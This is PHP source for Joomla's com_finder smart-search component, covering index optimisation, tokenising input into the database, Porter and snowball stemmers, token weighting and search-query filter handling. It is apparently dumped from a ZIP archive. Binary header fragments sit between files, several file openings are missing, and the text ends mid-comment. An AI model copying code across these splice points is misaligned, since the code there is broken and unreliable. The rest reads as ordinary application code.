True on success. * * @since 2.5 * @throws Exception on database error. */ public static function optimize() { // Get the indexer state. $state = FinderIndexer::getState(); // Get the database object. $db = JFactory::getDBO(); $query = $db->getQuery(true); // Delete all orphaned terms. $query->delete(); $query->from($db->quoteName('#__finder_terms')); $query->where($db->quoteName('links') . ' <= 0'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Optimize the links table. //@TODO: PostgreSQL doesn't support OPTIMIZE TABLE // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') === 0) { $db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links')); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } //@TODO: PostgreSQL doesn't support OPTIMIZE TABLE // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') === 0) { for ($i = 0; $i <= 15; $i++) { // Optimize the terms mapping table. $db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links_terms' . dechex($i))); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } } // Optimize the terms mapping table. //@TODO: PostgreSQL doesn't support OPTIMIZE TABLE // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') === 0) { $db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links_terms')); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Remove the orphaned taxonomy nodes. FinderIndexerTaxonomy::removeOrphanNodes(); // Optimize the taxonomy mapping table. //@TODO: PostgreSQL doesn't support OPTIMIZE TABLE // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') === 0) { $db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_taxonomy_map')); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } return true; } /** * Method to get a content item's signature. * * @param object $item The content item to index. * * @return string The content item's signature. * * @since 2.5 */ protected static function getSignature($item) { // Get the indexer state. $state = FinderIndexer::getState(); // Get the relevant configuration variables. $config = array(); $config[] = $state->weights; $config[] = $state->options->get('stem', 1); $config[] = $state->options->get('stemmer', 'porter_en'); return md5(serialize(array($item, $config))); } /** * Method to parse input, tokenize it, and then add it to the database. * * @param mixed $input String or resource to use as input. A resource * input will automatically be chunked to conserve * memory. Strings will be chunked if longer than * 2K in size. * @param integer $context The context of the input. See context constants. * @param string $lang The language of the input. * @param string $format The format of the input. * * @return integer The number of tokens extracted from the input. * * @since 2.5 */ protected static function tokenizeToDB($input, $context, $lang, $format) { $count = 0; $buffer = null; // If the input is a resource, batch the process out. if (is_resource($input)) { // Batch the process out to avoid memory limits. while (!feof($input)) { // Read into the buffer. $buffer .= fread($input, 2048); // If we haven't reached the end of the file, seek to the last // space character and drop whatever is after that to make sure // we didn't truncate a term while reading the input. if (!feof($input)) { // Find the last space character. $ls = strrpos($buffer, ' '); // Adjust string based on the last space character. if ($ls) { // Truncate the string to the last space character. $string = substr($buffer, 0, $ls); // Adjust the buffer based on the last space for the // next iteration and trim. $buffer = JString::trim(substr($buffer, $ls)); } // No space character was found. else { $string = $buffer; } } // We've reached the end of the file, so parse whatever remains. else { $string = $buffer; } // Parse the input. $string = FinderIndexerHelper::parse($string, $format); // Check the input. if (empty($string)) { continue; } // Tokenize the input. $tokens = FinderIndexerHelper::tokenize($string, $lang); // Add the tokens to the database. $count += FinderIndexer::addTokensToDB($tokens, $context); // Check if we're approaching the memory limit of the token table. if ($count > self::$state->options->get('memory_table_limit', 30000)) { FinderIndexer::toggleTables(false); } unset($string); unset($tokens); } } // If the input is greater than 2K in size, it is more efficient to // batch out the operation into smaller chunks of work. elseif (strlen($input) > 2048) { $start = 0; $end = strlen($input); $chunk = 2048; // As it turns out, the complex regular expressions we use for // sanitizing input are not very efficient when given large // strings. It is much faster to process lots of short strings. while ($start < $end) { // Setup the string. $string = substr($input, $start, $chunk); // Find the last space character if we aren't at the end. $ls = (($start + $chunk) < $end ? strrpos($string, ' ') : false); // Truncate to the last space character. if ($ls !== false) { $string = substr($string, 0, $ls); } // Adjust the start position for the next iteration. $start += ($ls !== false ? ($ls + 1 - $chunk) + $chunk : $chunk); // Parse the input. $string = FinderIndexerHelper::parse($string, $format); // Check the input. if (empty($string)) { continue; } // Tokenize the input. $tokens = FinderIndexerHelper::tokenize($string, $lang); // Add the tokens to the database. $count += FinderIndexer::addTokensToDB($tokens, $context); // Check if we're approaching the memory limit of the token table. if ($count > self::$state->options->get('memory_table_limit', 30000)) { FinderIndexer::toggleTables(false); } } } else { // Parse the input. $input = FinderIndexerHelper::parse($input, $format); // Check the input. if (empty($input)) { return $count; } // Tokenize the input. $tokens = FinderIndexerHelper::tokenize($input, $lang); // Add the tokens to the database. $count = FinderIndexer::addTokensToDB($tokens, $context); } return $count; } /** * Method to add a set of tokens to the database. * * @param mixed $tokens An array or single FinderIndexerToken object. * @param mixed $context The context of the tokens. See context constants. [optional] * * @return integer The number of tokens inserted into the database. * * @since 2.5 * @throws Exception on database error. */ protected static function addTokensToDB($tokens, $context = '') { // Get the database object. $db = JFactory::getDBO(); $query = $db->getQuery(true); // Force tokens to an array. $tokens = is_array($tokens) ? $tokens : array($tokens); // Count the number of token values. $values = 0; // Iterate through the tokens to create SQL value sets. foreach ($tokens as $token) { $query->values( $db->quote($token->term) . ', ' . $db->quote($token->stem) . ', ' . (int) $token->common . ', ' . (int) $token->phrase . ', ' . (float) $token->weight . ', ' . (int) $context ); $values++; } // Insert the tokens into the database. $query->insert($db->quoteName('#__finder_tokens')); $query->columns( array( $db->quoteName('term'), $db->quoteName('stem'), $db->quoteName('common'), $db->quoteName('phrase'), $db->quoteName('weight'), $db->quoteName('context') ) ); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $values; } /** * Method to switch the token tables from Memory tables to MyISAM tables * when they are close to running out of memory. * * @param boolean $memory Flag to control how they should be toggled. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. * @todo PostgreSQL doesn't support setting ENGINEs, determine how to handle setting tables */ protected static function toggleTables($memory) { static $state; // Get the database adapter. $db = JFactory::getDBO(); // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') !== 0) { return true; } // Check if we are setting the tables to the Memory engine. if ($memory === true && $state !== true) { // Set the tokens table to Memory. $db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens') . ' ENGINE = MEMORY'); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Set the tokens aggregate table to Memory. $db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens_aggregate') . ' ENGINE = MEMORY'); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Set the internal state. $state = $memory; } // We must be setting the tables to the MyISAM engine. elseif ($memory === false && $state !== false) { // Set the tokens table to MyISAM. $db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens') . ' ENGINE = MYISAM'); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Set the tokens aggregate table to MyISAM. $db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens_aggregate') . ' ENGINE = MYISAM'); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Set the internal state. $state = $memory; } return true; } } PKs>\߶ɥ)com_finder/helpers/indexer/parser/txt.phpnuW+A\6,com_finder/helpers/indexer/parser/index.htmlnuW+APKs>\)+com_finder/helpers/indexer/parser/.htaccessnuW+A Order allow,deny Deny from all PKs>\J\ ,VEE*com_finder/helpers/indexer/parser/html.phpnuW+A]*>.*?#si', ' ', $input); // Deal with spacing issues in the input. $input = str_replace('>', '> ', $input); $input = str_replace(array(' ', ' '), ' ', $input); $input = trim(preg_replace('#\s+#u', ' ', $input)); // Strip the tags from the input and decode entities. $input = strip_tags($input); $input = html_entity_decode($input, ENT_QUOTES, 'UTF-8'); $input = trim(preg_replace('#\s+#u', ' ', $input)); return $input; } } PKs>\8\#'#'0com_finder/helpers/indexer/stemmer/porter_en.phpnuW+Acache[$lang][$token])) { // Stem the token. $result = $token; $result = self::_step1ab($result); $result = self::_step1c($result); $result = self::_step2($result); $result = self::_step3($result); $result = self::_step4($result); $result = self::_step5($result); // Add the token to the cache. $this->cache[$lang][$token] = $result; } return $this->cache[$lang][$token]; } /** * Step 1 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step1ab($word) { // Part a if (substr($word, -1) == 's') { self::_replace($word, 'sses', 'ss') or self::_replace($word, 'ies', 'i') or self::_replace($word, 'ss', 'ss') or self::_replace($word, 's', ''); } // Part b if (substr($word, -2, 1) != 'e' or !self::_replace($word, 'eed', 'ee', 0)) { // First rule $v = self::$_regex_vowel; // ing and ed // Note use of && and OR, for precedence reasons if (preg_match("#$v+#", substr($word, 0, -3)) && self::_replace($word, 'ing', '') or preg_match("#$v+#", substr($word, 0, -2)) && self::_replace($word, 'ed', '')) { // If one of above two test successful if (!self::_replace($word, 'at', 'ate') and !self::_replace($word, 'bl', 'ble') and !self::_replace($word, 'iz', 'ize')) { // Double consonant ending if (self::_doubleConsonant($word) and substr($word, -2) != 'll' and substr($word, -2) != 'ss' and substr($word, -2) != 'zz') { $word = substr($word, 0, -1); } elseif (self::_m($word) == 1 and self::_cvc($word)) { $word .= 'e'; } } } } return $word; } /** * Step 1c * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step1c($word) { $v = self::$_regex_vowel; if (substr($word, -1) == 'y' && preg_match("#$v+#", substr($word, 0, -1))) { self::_replace($word, 'y', 'i'); } return $word; } /** * Step 2 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step2($word) { switch (substr($word, -2, 1)) { case 'a': self::_replace($word, 'ational', 'ate', 0) or self::_replace($word, 'tional', 'tion', 0); break; case 'c': self::_replace($word, 'enci', 'ence', 0) or self::_replace($word, 'anci', 'ance', 0); break; case 'e': self::_replace($word, 'izer', 'ize', 0); break; case 'g': self::_replace($word, 'logi', 'log', 0); break; case 'l': self::_replace($word, 'entli', 'ent', 0) or self::_replace($word, 'ousli', 'ous', 0) or self::_replace($word, 'alli', 'al', 0) or self::_replace($word, 'bli', 'ble', 0) or self::_replace($word, 'eli', 'e', 0); break; case 'o': self::_replace($word, 'ization', 'ize', 0) or self::_replace($word, 'ation', 'ate', 0) or self::_replace($word, 'ator', 'ate', 0); break; case 's': self::_replace($word, 'iveness', 'ive', 0) or self::_replace($word, 'fulness', 'ful', 0) or self::_replace($word, 'ousness', 'ous', 0) or self::_replace($word, 'alism', 'al', 0); break; case 't': self::_replace($word, 'biliti', 'ble', 0) or self::_replace($word, 'aliti', 'al', 0) or self::_replace($word, 'iviti', 'ive', 0); break; } return $word; } /** * Step 3 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step3($word) { switch (substr($word, -2, 1)) { case 'a': self::_replace($word, 'ical', 'ic', 0); break; case 's': self::_replace($word, 'ness', '', 0); break; case 't': self::_replace($word, 'icate', 'ic', 0) or self::_replace($word, 'iciti', 'ic', 0); break; case 'u': self::_replace($word, 'ful', '', 0); break; case 'v': self::_replace($word, 'ative', '', 0); break; case 'z': self::_replace($word, 'alize', 'al', 0); break; } return $word; } /** * Step 4 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step4($word) { switch (substr($word, -2, 1)) { case 'a': self::_replace($word, 'al', '', 1); break; case 'c': self::_replace($word, 'ance', '', 1) or self::_replace($word, 'ence', '', 1); break; case 'e': self::_replace($word, 'er', '', 1); break; case 'i': self::_replace($word, 'ic', '', 1); break; case 'l': self::_replace($word, 'able', '', 1) or self::_replace($word, 'ible', '', 1); break; case 'n': self::_replace($word, 'ant', '', 1) or self::_replace($word, 'ement', '', 1) or self::_replace($word, 'ment', '', 1) or self::_replace($word, 'ent', '', 1); break; case 'o': if (substr($word, -4) == 'tion' or substr($word, -4) == 'sion') { self::_replace($word, 'ion', '', 1); } else { self::_replace($word, 'ou', '', 1); } break; case 's': self::_replace($word, 'ism', '', 1); break; case 't': self::_replace($word, 'ate', '', 1) or self::_replace($word, 'iti', '', 1); break; case 'u': self::_replace($word, 'ous', '', 1); break; case 'v': self::_replace($word, 'ive', '', 1); break; case 'z': self::_replace($word, 'ize', '', 1); break; } return $word; } /** * Step 5 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step5($word) { // Part a if (substr($word, -1) == 'e') { if (self::_m(substr($word, 0, -1)) > 1) { self::_replace($word, 'e', ''); } elseif (self::_m(substr($word, 0, -1)) == 1) { if (!self::_cvc(substr($word, 0, -1))) { self::_replace($word, 'e', ''); } } } // Part b if (self::_m($word) > 1 and self::_doubleConsonant($word) and substr($word, -1) == 'l') { $word = substr($word, 0, -1); } return $word; } /** * Replaces the first string with the second, at the end of the string. If third * arg is given, then the preceding string must match that m count at least. * * @param string &$str String to check * @param string $check Ending to check for * @param string $repl Replacement string * @param integer $m Optional minimum number of m() to meet * * @return boolean Whether the $check string was at the end * of the $str string. True does not necessarily mean * that it was replaced. * * @since 2.5 */ private static function _replace(&$str, $check, $repl, $m = null) { $len = 0 - strlen($check); if (substr($str, $len) == $check) { $substr = substr($str, 0, $len); if (is_null($m) or self::_m($substr) > $m) { $str = $substr . $repl; } return true; } return false; } /** * m() measures the number of consonant sequences in $str. if c is * a consonant sequence and v a vowel sequence, and <..> indicates arbitrary * presence, * * gives 0 * vc gives 1 * vcvc gives 2 * vcvcvc gives 3 * * @param string $str The string to return the m count for * * @return integer The m count * * @since 2.5 */ private static function _m($str) { $c = self::$_regex_consonant; $v = self::$_regex_vowel; $str = preg_replace("#^$c+#", '', $str); $str = preg_replace("#$v+$#", '', $str); preg_match_all("#($v+$c+)#", $str, $matches); return count($matches[1]); } /** * Returns true/false as to whether the given string contains two * of the same consonant next to each other at the end of the string. * * @param string $str String to check * * @return boolean Result * * @since 2.5 */ private static function _doubleConsonant($str) { $c = self::$_regex_consonant; return preg_match("#$c{2}$#", $str, $matches) and $matches[0]{0} == $matches[0]{1}; } /** * Checks for ending CVC sequence where second C is not W, X or Y * * @param string $str String to check * * @return boolean Result * * @since 2.5 */ private static function _cvc($str) { $c = self::$_regex_consonant; $v = self::$_regex_vowel; return preg_match("#($c$v$c)$#", $str, $matches) and strlen($matches[1]) == 3 and $matches[1]{2} != 'w' and $matches[1]{2} != 'x' and $matches[1]{2} != 'y'; } } PKs>\6-com_finder/helpers/indexer/stemmer/index.htmlnuW+APKs>\ /com_finder/helpers/indexer/stemmer/snowball.phpnuW+Asef) ? $languages[0]->sef : '*'; $lang = $defaultLang; } // Stem the token if it is not in the cache. if (!isset($this->cache[$lang][$token])) { // Get the stem function from the language string. switch ($lang) { // Danish stemmer. case 'da': $function = 'stem_danish'; break; // German stemmer. case 'de': $function = 'stem_german'; break; // English stemmer. default: case 'en': $function = 'stem_english'; break; // Spanish stemmer. case 'es': $function = 'stem_spanish'; break; // Finnish stemmer. case 'fi': $function = 'stem_finnish'; break; // French stemmer. case 'fr': $function = 'stem_french'; break; // Hungarian stemmer. case 'hu': $function = 'stem_hungarian'; break; // Italian stemmer. case 'it': $function = 'stem_italian'; break; // Norwegian stemmer. case 'nb': $function = 'stem_norwegian'; break; // Dutch stemmer. case 'nl': $function = 'stem_dutch'; break; // Portuguese stemmer. case 'pt': $function = 'stem_portuguese'; break; // Romanian stemmer. case 'ro': $function = 'stem_romanian'; break; // Russian stemmer. case 'ru': $function = 'stem_russian_unicode'; break; // Swedish stemmer. case 'sv': $function = 'stem_swedish'; break; // Turkish stemmer. case 'tr': $function = 'stem_turkish_unicode'; break; } // Stem the word if the stemmer method exists. $this->cache[$lang][$token] = function_exists($function) ? $function($token) : $token; } return $this->cache[$lang][$token]; } } PKs>\),com_finder/helpers/indexer/stemmer/.htaccessnuW+A Order allow,deny Deny from all PKs>\&com_finder/helpers/indexer/stemmer.phpnuW+Aclean($adapter, 'cmd'); $path = dirname(__FILE__) . '/stemmer/' . $adapter . '.php'; $class = 'FinderIndexerStemmer' . ucfirst($adapter); // Check if a stemmer exists for the adapter. if (file_exists($path)) { // Instantiate the stemmer. include_once $path; $instances[$adapter] = new $class; } else { // Throw invalid adapter exception. throw new Exception(JText::sprintf('COM_FINDER_INDEXER_INVALID_STEMMER', $adapter)); } return $instances[$adapter]; } /** * Method to stem a token and return the root. * * @param string $token The token to stem. * @param string $lang The language of the token. * * @return string The root token. * * @since 2.5 */ abstract public function stem($token, $lang); } PKs>\HV $com_finder/helpers/indexer/token.phpnuW+Aterm = implode($spacer, $term); $this->stem = implode($spacer, array_map(array('FinderIndexerHelper', 'stem'), $term, array($lang))); $this->numeric = false; $this->common = false; $this->phrase = true; $this->length = JString::strlen($this->term); /* * Calculate the weight of the token. * * 1. Length of the token up to 30 and divide by 30, add 1. * 2. Round weight to 4 decimal points. */ $this->weight = (($this->length >= 30 ? 30 : $this->length) / 30) + 1; $this->weight = round($this->weight, 4); } else { // Populate the token instance. $this->term = $term; $this->stem = FinderIndexerHelper::stem($this->term, $lang); $this->numeric = (is_numeric($this->term) || (bool) preg_match('#^[0-9,.\-\+]+$#', $this->term)); $this->common = $this->numeric ? false : FinderIndexerHelper::isCommon($this->term, $lang); $this->phrase = false; $this->length = JString::strlen($this->term); /* * Calculate the weight of the token. * * 1. Length of the token up to 15 and divide by 15. * 2. If common term, divide weight by 8. * 3. If numeric, multiply weight by 1.5. * 4. Round weight to 4 decimal points. */ $this->weight = (($this->length >= 15 ? 15 : $this->length) / 15); $this->weight = ($this->common == true ? $this->weight / 8 : $this->weight); $this->weight = ($this->numeric == true ? $this->weight * 1.5 : $this->weight); $this->weight = round($this->weight, 4); } } } PKs>\e$com_finder/helpers/indexer/query.phpnuW+Ainput = isset($options['input']) ? $options['input'] : null; // Get the empty query setting. $this->empty = isset($options['empty']) ? (bool) $options['empty'] : false; // Get the input language. $this->language = !empty($options['language']) ? $options['language'] : FinderIndexerHelper::getDefaultLanguage(); $this->language = FinderIndexerHelper::getPrimaryLanguage($this->language); // Get the matching mode. $this->mode = 'AND'; // Initialize the temporary date storage. $this->dates = new JRegistry; // Populate the temporary date storage. if (isset($options['date1']) && !empty($options['date1'])) { $this->dates->set('date1', $options['date1']); } if (isset($options['date2']) && !empty($options['date1'])) { $this->dates->set('date2', $options['date2']); } if (isset($options['when1']) && !empty($options['date1'])) { $this->dates->set('when1', $options['when1']); } if (isset($options['when2']) && !empty($options['date1'])) { $this->dates->set('when2', $options['when2']); } // Process the static taxonomy filters. if (isset($options['filter']) && !empty($options['filter'])) { $this->processStaticTaxonomy($options['filter']); } // Process the dynamic taxonomy filters. if (isset($options['filters']) && !empty($options['filters'])) { $this->processDynamicTaxonomy($options['filters']); } // Get the date filters. $d1 = $this->dates->get('date1'); $d2 = $this->dates->get('date2'); $w1 = $this->dates->get('when1'); $w2 = $this->dates->get('when2'); // Process the date filters. if (!empty($d1) || !empty($d2)) { $this->processDates($d1, $d2, $w1, $w2); } // Process the input string. $this->processString($this->input, $this->language, $this->mode); // Get the number of matching terms. foreach ($this->included as $token) { $this->terms += count($token->matches); } // Remove the temporary date storage. unset($this->dates); /* * Lastly, determine whether this query can return a result set. */ // Check if we have a query string. if (!empty($this->input)) { $this->search = true; } // Check if we can search without a query string. elseif ($this->empty && (!empty($this->filter) || !empty($this->filters) || !empty($this->date1) || !empty($this->date2))) { $this->search = true; } // We do not have a valid search query. else { $this->search = false; } } /** * Method to convert the query object into a URI string. * * @param string $base The base URI. [optional] * * @return string The complete query URI. * * @since 2.5 */ public function toURI($base = null) { // Set the base if not specified. if (empty($base)) { $base = 'index.php?option=com_finder&view=search'; } // Get the base URI. $uri = JURI::getInstance($base); // Add the static taxonomy filter if present. if (!empty($this->filter)) { $uri->setVar('f', $this->filter); } // Get the filters in the request. $input = JFactory::getApplication()->input; $t = $input->request->get('t', array(), 'array'); // Add the dynamic taxonomy filters if present. if (!empty($this->filters)) { foreach ($this->filters as $nodes) { foreach ($nodes as $node) { if (!in_array($node, $t)) { continue; } $uri->setVar('t[]', $node); } } } // Add the input string if present. if (!empty($this->input)) { $uri->setVar('q', $this->input); } // Add the start date if present. if (!empty($this->date1)) { $uri->setVar('d1', $this->date1); } // Add the end date if present. if (!empty($this->date2)) { $uri->setVar('d2', $this->date2); } // Add the start date modifier if present. if (!empty($this->when1)) { $uri->setVar('w1', $this->when1); } // Add the end date modifier if present. if (!empty($this->when2)) { $uri->setVar('w2', $this->when2); } // Add a menu item id if one is not present. if (!$uri->getVar('Itemid')) { // Get the menu item id. $query = array( 'view' => $uri->getVar('view'), 'f' => $uri->getVar('f'), 'q' => $uri->getVar('q') ); $item = FinderHelperRoute::getItemid($query); // Add the menu item id if present. if ($item !== null) { $uri->setVar('Itemid', $item); } } return $uri->toString(array('path', 'query')); } /** * Method to get a list of excluded search term ids. * * @return array An array of excluded term ids. * * @since 2.5 */ public function getExcludedTermIds() { $results = array(); // Iterate through the excluded tokens and compile the matching terms. for ($i = 0, $c = count($this->excluded); $i < $c; $i++) { $results = array_merge($results, $this->excluded[$i]->matches); } // Sanitize the terms. //@TODO: Should toInteger use $return? $return = array_unique($results); JArrayHelper::toInteger($results); return $results; } /** * Method to get a list of included search term ids. * * @return array An array of included term ids. * * @since 2.5 */ public function getIncludedTermIds() { $results = array(); // Iterate through the included tokens and compile the matching terms. for ($i = 0, $c = count($this->included); $i < $c; $i++) { // Check if we have any terms. if (empty($this->included[$i]->matches)) { continue; } // Get the term. $term = $this->included[$i]->term; // Prepare the container for the term if necessary. if (!array_key_exists($term, $results)) { $results[$term] = array(); } // Add the matches to the stack. $results[$term] = array_merge($results[$term], $this->included[$i]->matches); } // Sanitize the terms. foreach ($results as $key => $value) { $results[$key] = array_unique($results[$key]); JArrayHelper::toInteger($results[$key]); } return $results; } /** * Method to get a list of required search term ids. * * @return array An array of required term ids. * * @since 2.5 */ public function getRequiredTermIds() { $results = array(); // Iterate through the included tokens and compile the matching terms. for ($i = 0, $c = count($this->included); $i < $c; $i++) { // Check if the token is required. if ($this->included[$i]->required) { // Get the term. $term = $this->included[$i]->term; // Prepare the container for the term if necessary. if (!array_key_exists($term, $results)) { $results[$term] = array(); } // Add the matches to the stack. $results[$term] = array_merge($results[$term], $this->included[$i]->matches); } } // Sanitize the terms. foreach ($results as $key => $value) { $results[$key] = array_unique($results[$key]); JArrayHelper::toInteger($results[$key]); } return $results; } /** * Method to process the static taxonomy input. The static taxonomy input * comes in the form of a pre-defined search filter that is assigned to the * search form. * * @param integer $filterId The id of static filter. * * @return boolean True on success, false on failure. * * @since 2.5 * @throws Exception on database error. */ protected function processStaticTaxonomy($filterId) { // Get the database object. $db = JFactory::getDBO(); // Initialize user variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Load the predefined filter. $query = $db->getQuery(true); $query->select('f.' . $db->quoteName('data') . ', f.' . $db->quoteName('params')); $query->from($db->quoteName('#__finder_filters') . ' AS f'); $query->where('f.' . $db->quoteName('filter_id') . ' = ' . (int) $filterId); $db->setQuery($query); $return = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Check the returned filter. if (empty($return)) { return false; } // Set the filter. $this->filter = (int) $filterId; // Get a parameter object for the filter date options. $registry = new JRegistry; $registry->loadString($return->params); $params = $registry; // Set the dates if not already set. $this->dates->def('date1', $params->get('d1')); $this->dates->def('date2', $params->get('d2')); $this->dates->def('when1', $params->get('w1')); $this->dates->def('when2', $params->get('w2')); // Remove duplicates and sanitize. $filters = explode(',', $return->data); $filters = array_unique($filters); JArrayHelper::toInteger($filters); // Remove any values of zero. if (array_search(0, $filters, true) !== false) { unset($filters[array_search(0, $filters, true)]); } // Check if we have any real input. if (empty($filters)) { return true; } /* * Create the query to get filters from the database. We do this for * two reasons: one, it allows us to ensure that the filters being used * are real; two, we need to sort the filters by taxonomy branch. */ $query->clear(); $query->select('t1.id, t1.title, t2.title AS branch'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t1'); $query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id'); $query->where('t1.state = 1'); $query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $query->where('t1.id IN (' . implode(',', $filters) . ')'); $query->where('t2.state = 1'); $query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')'); // Load the filters. $db->setQuery($query); $results = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Sort the filter ids by branch. foreach ($results as $result) { $this->filters[$result->branch][$result->title] = (int) $result->id; } return true; } /** * Method to process the dynamic taxonomy input. The dynamic taxonomy input * comes in the form of select fields that the user chooses from. The * dynamic taxonomy input is processed AFTER the static taxonomy input * because the dynamic options can be used to further narrow a static * taxonomy filter. * * @param array $filters An array of taxonomy node ids. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function processDynamicTaxonomy($filters) { // Initialize user variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Remove duplicates and sanitize. $filters = array_unique($filters); JArrayHelper::toInteger($filters); // Remove any values of zero. if (array_search(0, $filters, true) !== false) { unset($filters[array_search(0, $filters, true)]); } // Check if we have any real input. if (empty($filters)) { return true; } // Get the database object. $db = JFactory::getDBO(); $query = $db->getQuery(true); /* * Create the query to get filters from the database. We do this for * two reasons: one, it allows us to ensure that the filters being used * are real; two, we need to sort the filters by taxonomy branch. */ $query->select('t1.id, t1.title, t2.title AS branch'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t1'); $query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id'); $query->where('t1.state = 1'); $query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $query->where('t1.id IN (' . implode(',', $filters) . ')'); $query->where('t2.state = 1'); $query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')'); // Load the filters. $db->setQuery($query); $results = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Cleared filter branches. $cleared = array(); /* * Sort the filter ids by branch. Because these filters are designed to * override and further narrow the items selected in the static filter, * we will clear the values from the static filter on a branch by * branch basis before adding the dynamic filters. So, if the static * filter defines a type filter of "articles" and three "category" * filters but the user only limits the category further, the category * filters will be flushed but the type filters will not. */ foreach ($results as $result) { // Check if the branch has been cleared. if (!in_array($result->branch, $cleared)) { // Clear the branch. $this->filters[$result->branch] = array(); // Add the branch to the cleared list. $cleared[] = $result->branch; } // Add the filter to the list. $this->filters[$result->branch][$result->title] = (int) $result->id; } return true; } /** * Method to process the query date filters to determine start and end * date limitations. * * @param string $date1 The first date filter. * @param string $date2 The second date filter. * @param string $when1 The first date modifier. * @param string $when2 The second date modifier. * * @return boolean True on success. * * @since 2.5 */ protected function processDates($date1, $date2, $when1, $when2) { // Clean up the inputs. $date1 = JString::trim(JString::strtolower($date1)); $date2 = JString::trim(JString::strtolower($date2)); $when1 = JString::trim(JString::strtolower($when1)); $when2 = JString::trim(JString::strtolower($when2)); // Get the time offset. $offset = JFactory::getApplication()->getCfg('offset'); // Array of allowed when values. $whens = array('before', 'after', 'exact'); // The value of 'today' is a special case that we need to handle. if ($date1 === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY'))) { $today = JFactory::getDate('now', $offset); $date1 = $today->format('%Y-%m-%d'); } // Try to parse the date string. $date = JFactory::getDate($date1, $offset); // Check if the date was parsed successfully. if ($date->toUnix() !== null) { // Set the date filter. $this->date1 = $date->toSQL(); $this->when1 = in_array($when1, $whens) ? $when1 : 'before'; } // The value of 'today' is a special case that we need to handle. if ($date2 === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY'))) { $today = JFactory::getDate('now', $offset); $date2 = $today->format('%Y-%m-%d'); } // Try to parse the date string. $date = JFactory::getDate($date2, $offset); // Check if the date was parsed successfully. if ($date->toUnix() !== null) { // Set the date filter. $this->date2 = $date->toSQL(); $this->when2 = in_array($when2, $whens) ? $when2 : 'before'; } return true; } /** * Method to process the query input string and extract required, optional, * and excluded tokens; taxonomy filters; and date filters. * * @param string $input The query input string. * @param string $lang The query input language. * @param string $mode The query matching mode. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function processString($input, $lang, $mode) { // Clean up the input string. $input = html_entity_decode($input, ENT_QUOTES, 'UTF-8'); $input = JString::strtolower($input); $input = preg_replace('#\s+#mi', ' ', $input); $input = JString::trim($input); $debug = JFactory::getConfig()->get('debug_lang'); /* * First, we need to handle string based modifiers. String based * modifiers could potentially include things like "category:blah" or * "before:2009-10-21" or "type:article", etc. */ $patterns = array( 'before' => JText::_('COM_FINDER_FILTER_WHEN_BEFORE'), 'after' => JText::_('COM_FINDER_FILTER_WHEN_AFTER') ); // Add the taxonomy branch titles to the possible patterns. foreach (FinderIndexerTaxonomy::getBranchTitles() as $branch) { // Add the pattern. $patterns[$branch] = JString::strtolower(JText::_(FinderHelperLanguage::branchSingular($branch))); } // Container for search terms and phrases. $terms = array(); $phrases = array(); // Cleared filter branches. $cleared = array(); /* * Compile the suffix pattern. This is used to match the values of the * filter input string. Single words can 